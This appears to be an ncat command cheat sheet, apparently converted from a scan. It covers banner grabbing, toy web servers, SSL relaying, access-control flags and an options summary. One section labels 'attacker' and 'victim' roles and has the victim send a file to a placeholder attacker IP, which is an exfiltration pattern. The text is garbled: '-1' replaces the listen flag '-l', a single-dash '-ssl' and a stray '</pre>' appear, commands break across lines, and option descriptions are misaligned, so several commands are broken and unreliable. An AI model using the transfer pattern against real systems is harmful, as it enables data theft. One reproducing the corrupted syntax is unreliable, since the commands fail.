Banner Grab : # printf "GET / HTTP/1.0\r\n" | ncat bitrot.sh 80

# SSL Banner Grab:

#printf "GET / HTTP/1.0\r\n\r\n" | ncat bitrot.sh 443 -ssl

# Simple web server:

#echo '<html><body>This is ncat webserver</body></html>' > stuff.html
#ncat -l -p 8080 -c "printf 'HTTP/1.1 200 OK\r\n\r\n'; cat stuff.html"

# Web server accept multiple requests:

#ncat --keep-open -l -p 8080 -c "printf 'HTTP/1.1 200 OK\r\n\r\n';
cat ~/stuff.html"

### Unwrap SSL Connections

#### Server

Listen on port 6666 as a plain text server. Upon connection, connect to api.ipify.org:443 using SSL and forward client / server traffic. It also saves the full session to out.log for later analysis.

```
#ncat -l -p 6666 -c 'ncat --ssl api.ipify.org 443' --keep-open
-o out.log
```

### Client

Grab our remote IP address by using an HTTP connection to localhost:6666, which handles the connection to api.ipify.org:443 using SSL

```
#curl 'http://localhost:6666?format=json' -H 'Host:
api.ipify.org'
```

# Connect two incoming connections

```
#ncat -1 -p 8080 -c 'ncat -1 -p 9090'
```

## Connect two listening servers

```
#ncat localhost 8080 -c 'ncat localhost 9090'
```

### Access Controls

```
Whitelist Ips #ncat -1 -p 8080 --allow 192.168.1.1
```

```
Whitelist from file # ncat -1 -p 8080 --allowfile hosts
```

Hosts should be separated by new lines

```
Blacklist Ips #ncat -1 -p 8080 --deny 192.168.1.1,10.10.0.1
```

```
Blacklist IPs from file # ncat -1 -p 8080 --denyfile hosts
```

### Reverse file transfer to attacker

Attacker #ncat -1 -p 6666 --ssl > outputfile

Victim #ncat --ssl --send-only <attacker ip> 6666 < bin/ncat</pre>

## File send w/ Sender listening

Attacker #ncat -1 -ssl -p 6666 --send-only < /bin/ncat

Victim #ncat localhost 6666 --ssl > outputfile

## OPTIONS SUMMARY

```
Usage: ncat [options] [hostname] [port]
Options taking a time assume seconds. Append 'ms' for
milliseconds, 's' for seconds, 'm' for minutes, 'h' for hours
-4 Use IPv4 only
-6
      Use IPv6 only
-c, --sh-exec <comd> Executes given command via/bin/sh
-e, --exec <command> Executes the given command
-m, --max-conns <n>
                      Maximum <n> simultaneous connections
-o, --output <filename> Dump session data to a file
-p, --source-port port Specify source port to use
-s, --source addr
                          Specify source address to use
                              (doesn't affect -1)
                  Bind and listen for incoming connections
-l, --listen
-k, --keep-open Accept multiple connections in listen mode
-n, --nodns
                         Do not resolve hostnames via DNS
-t, --telnet
                          Answer Telnet negotiations
                          Use UDP instead of default TCP
-u, --udp
-v
                       Verbose
                      Start a simple Ncat chat server
--chat
--proxy <addr[:port]> Specify address of host to proxy
                       through
--proxy-type <type>
                      Specify proxy type
                        ("http", "socks4", "socks5")
--proxy-auth <auth>
                      Authn with HTTP or SOCKS proxy server
--proxy-dns <type>
                    Specify where to resolve proxy destn
--ssl
                      Connect or listen with SSL
--ssl-cert Specify SSL certificate file (PEM) for listening
           Specify SSL private key (PEM) for listening
--ssl-key
--ssl-verify Verify trust and domain name of certificates
--ssl-trustfile PEM file containing trusted SSL certificates
--ssl-ciphers
                 Cipherlist containing SSL ciphers to use
--ssl-alpn
                      ALPN protocol list to use.
```